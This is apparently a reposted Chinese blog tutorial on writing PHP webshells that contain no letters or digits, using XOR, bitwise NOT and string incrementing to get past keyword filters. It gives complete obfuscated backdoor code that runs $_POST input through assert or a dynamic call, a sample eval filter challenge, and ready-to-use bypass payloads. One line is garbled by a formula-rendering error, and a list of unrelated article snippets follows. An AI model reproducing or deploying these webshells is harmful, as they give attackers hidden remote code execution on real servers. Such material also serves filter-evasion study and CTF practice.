過濾字符,繞過

構造不包含字母和數字的webshell

<?phpecho "A"^"`";
?>

運行結果為!

代碼中對字符"A"和字符”`"進行了異或操作。在PHP中,兩個變量進行異或時,先會將字符串轉換成ASCII值,再將ASCII值轉換成二進制再進行異或,異或完,又將結果從二進制轉換成了ASCII值,再將ASCII值轉換成字符串。異或操作有時也被用來交換兩個變量的值。
在php中,異或操作是兩個二進制數相同時,異或為0,不同為1。
PHP是弱類型的語言,也就是說在PHP中我們可以不預先聲明變量的類型,而直接聲明一個變量并進行初始化或賦值操作。如將整型轉換成字符串型,將布爾型當作整型,或者將字符串當作函數來處理。

<?phpfunction B(){echo "Hello Angel_Kitty";}$_++;$__= "?" ^ "}";$__();
?>

執行結果為:Hello Angel_Kitty

$++;這行代碼的意思是對變量名為""的變量進行自增操作,在PHP中未定義的變量默認值為null,null ==false= =0,我們可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。

我們希望使用這種后門創建一些可以繞過檢測的并且對我們有用的字符串,如_POST", “system”, “call_user_func_array”,或者是任何我們需要的東西。

PHP后門

<?php@$_++; // $_ = 1$__=("#"^"|"); // $__ = _$__.=("."^"~"); // _P$__.=("/"^"`"); // _PO$__.=("|"^"/"); // _POS$__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

異或進行繞過

<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

payload

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
$_GET[_]();&
<?phpecho "`{{{"^"?<>/";//_GET
?>

“`{{{”^"?<>/"的結果是"GET",所以KaTeX parse error: Expected '}', got 'EOF' at end of input: {}_=$GET_,而此時=getFlag
取反進行繞過

<?php
$a = "getFlag";
echo urlencode(~$a);
?>

payload:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

利用php語法繞過
利用php語法規則,在處理字符變量的算數運算時,PHP 沿襲了 Perl 的習慣,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 將把 $a 變成’AA’,而在 C 中,a = ‘Z’; a++; 將把 a 變成 ‘[’(‘Z’ 的 ASCII 值是 90,‘[’ 的 ASCII 值是 91)。注意字符變量只能遞增,不能遞減,并且只支持純字母(a-z 和 A-Z)。遞增/遞減其他字符變量則無效,原字符串沒有變化。‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我們只要能拿到一個變量,其值為a,通過自增操作即可獲得a-z中所有字符。如何拿到一個值為字符串’a’的變量,數組(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。也就是說,我們可以同時拿到小寫和大寫A,等于我們就可以拿到a-z和A-Z的所有字母。在PHP中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為Array,再取這個字符串的第一個字母,就可以獲得’A’了。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

payload:

?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/43627.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/43627.shtml
英文地址,請注明出處:http://en.pswp.cn/news/43627.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

容器docker安裝及應用

目錄 二進制安裝docker應用啟動docker拉取鏡像查看當前主機鏡像查看鏡像詳細信息運行容器 二進制安裝docker 環境 centos 7 [rootlocalhost ~]# mkdir /data [rootlocalhost ~]# wget -P /data/ https://download.docker.com/linux/static/stable/x86_64/docker-18.03.1-ce.t…

【聲波】聲波在硼酸、硫酸鎂 (MgSO4) 和純水中的吸收研究(Matlab代碼實現)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;歡迎來到本博客????&#x1f4a5;&#x1f4a5; &#x1f3c6;博主優勢&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客內容盡量做到思維縝密&#xff0c;邏輯清晰&#xff0c;為了方便讀者。 ??座右銘&a…

MAC 命令行啟動tomcat的詳細介紹

MAC 命令行啟動tomcat MAC 命令行啟動tomcat的詳細介紹 一、修改授權 進入tomcat的bin目錄,修改授權 1 2 3 ? bin pwd /Users/yp/Documents/workspace/apache-tomcat-7.0.68/bin ? bin sudo chmod 755 *.sh sudo為系統超級管理員權限.chmod 改變一個或多個文件的存取模…

2.js中attr()用來修改或者添加屬性或者屬性值

attr()可以用來修改或者添加屬性或者屬性值 例&#xff1a;<input type"button" class"btn btn-info" id"subbtn" style"font-size:12px" value"我也說一句"/>1.如果想獲取input中value的值 $(#subbtn).attr(value);…

ASP.NET Core中路由規則匹配

RESTful約束&#xff0c;如果在一個控制器里面有多個Get、Post...的操作 1、在一個控制器里面可以定義多個API方法 2、通過路由規則來區分 /// <summary> /// 獲取用戶信息 /// </summary> /// <param name"user"></param> /// <returns…

c++ | 字節轉換 | 字長 | 機器位數

為什么有的時候腦子轉不過來&#xff1f;&#xff1f; 為什么要對字節、機器長啊、位啊都要門清 位數 一般的就是指計算機的位數&#xff0c;比如64位/32位&#xff0c;更簡單的理解&#xff0c;計算機就是在不停的做二進制的計算&#xff0c;比如32位計算機&#xff0c;在長…

[保研/考研機試] KY26 10進制 VS 2進制 清華大學復試上機題 C++實現

題目鏈接&#xff1a; 10進制 VS 2進制http://www.nowcoder.com/share/jump/437195121691738172415 描述 對于一個十進制數A&#xff0c;將A轉換為二進制數&#xff0c;然后按位逆序排列&#xff0c;再轉換為十進制數B&#xff0c;我們稱B為A的二進制逆序數。 例如對于十進制…

算法基礎課——基礎算法(模板整理)

快速排序 快速排序 #include <iostream> #include <algorithm> using namespace std; int n; int s[100000]; int main() {cin>>n;for(int i0;i<n;i){cin>>s[i];}sort(s,sn);for(int i0;i<n;i){cout<<s[i]<<" ";}cout<…

4.物聯網LWIP之C/S編程

LWIP配置 服務器端實現 客戶端實現 錯誤分析 一。LWIP配置&#xff08;FREERTOS配置&#xff0c;ETH配置&#xff0c;LWIP配置&#xff09; 1.FREERTOS配置 為什么要修改定時源為Tim1&#xff1f;不用systick&#xff1f; 原因&#xff1a;HAL庫與FREERTOS都需要使用systi…

leetcode做題筆記89. 格雷編碼

n 位格雷碼序列 是一個由 2n 個整數組成的序列&#xff0c;其中&#xff1a; 每個整數都在范圍 [0, 2n - 1] 內&#xff08;含 0 和 2n - 1&#xff09;第一個整數是 0一個整數在序列中出現 不超過一次每對 相鄰 整數的二進制表示 恰好一位不同 &#xff0c;且第一個 和 最后一…

C語言好題解析(三)

目錄 選擇題一選擇題二選擇題三選擇題四編程題一編程題二 選擇題一 以下程序段的輸出結果是&#xff08;&#xff09;#include<stdio.h> int main() { char s[] "\\123456\123456\t"; printf("%d\n", strlen(s)); return 0; }A: 12 B: 13 …

Lnton羚通關于【PyTorch】教程:torchvision 目標檢測微調

torchvision 目標檢測微調 本教程將使用Penn-Fudan Database for Pedestrian Detection and Segmentation 微調 預訓練的Mask R-CNN 模型。 它包含 170 張圖片&#xff0c;345 個行人實例。 定義數據集 用于訓練目標檢測、實例分割和人物關鍵點檢測的參考腳本允許輕松支持添加…

前端-輪詢

一、輪詢定義 輪詢是指在一定的時間間隔內&#xff0c;定時向服務器發送請求&#xff0c;獲取最新數據的過程。輪詢通常用于從服務器獲取實時更新的數據。 二、輪詢和長輪詢區別 輪詢是在固定的時間間隔內向服務器發送請求&#xff0c;即使服務器沒有數據更新也會繼續發送請求…

暴力模擬入門+簡單:零件組裝、塔子的簽到題、塔子哥考試、平均像素值、換座位

暴力模擬入門 P1038 小紅書-2022.9.23-零件組裝 #include <bits/stdc.h> #include <cstdint> using namespace std;typedef long long LL; const int N 100001; int num[4]; LL d; vector<vector<LL>> v(4, vector<LL>(N));int main() {for(in…

解決Pycharm的Settings中Project不見了也無法選擇Python Interpreter的方法

目錄 一、問題如下二、解決方法 一、問題如下 突然打開項目沒有python解釋器&#xff0c;也無法重新配置python Interpreter&#xff0c;而且整個文件夾是黃色高亮的形式&#xff0c;如下顯示&#xff0c;而且重新安裝了pycharm也沒用甚至說打開File–>Setting–>Projec…

日常BUG——普通頁面跳轉tabbar頁面報錯

&#x1f61c;作 者&#xff1a;是江迪呀??本文關鍵詞&#xff1a;日常BUG、BUG、問題分析??每日 一言 &#xff1a;存在錯誤說明你在進步&#xff01; 一、問題描述 微信小程序頁面跳轉的時候出現下面的問題&#xff1a; wx.redirectTo({url: /pages/index/i…

Linux學習之基本指令二

-----緊接上文 在了解cat指令之前&#xff0c;我們首先要了解到Linux下一切皆文件&#xff0c;在學習c語言時我們就已經了解到了 對文件輸入以及讀入的操作&#xff08;向顯示器打印&#xff0c;從鍵盤讀取數據&#xff09;&#xff0c;對于Linux下文件的操作&#xff0c;也是…

算法與數據結構(二十三)動態規劃設計:最長遞增子序列

注&#xff1a;此文只在個人總結 labuladong 動態規劃框架&#xff0c;僅限于學習交流&#xff0c;版權歸原作者所有&#xff1b; 也許有讀者看了前文 動態規劃詳解&#xff0c;學會了動態規劃的套路&#xff1a;找到了問題的「狀態」&#xff0c;明確了 dp 數組/函數的含義&a…

js簡介以及在html中的2種使用方式(hello world)

簡介 javascript &#xff1a;是一個跨平臺的腳本語言&#xff1b;是一種輕量級的編程語言。 JavaScript 是 Web 的編程語言。所有現代的 HTML 頁面都使用 JavaScript。 HTML&#xff1a; 結構 css&#xff1a; 表現 JS&#xff1a; 行為 HTMLCSS 只能稱之為靜態網頁&#xff0…

Rust交叉編譯簡述 —— Arm

使用系統&#xff1a;WSL2 —— Kali(Microsoft Store) 命令列表 rustup target list # 當前官方支持的構建目標架構列表 rustup target add aarch64-unknown-linux-gnu # 添加目標架構sudo apt-get install gcc-13-aarch64-linux-gnu gcc-13-aarch64-linux-gnu # 下載目標工具…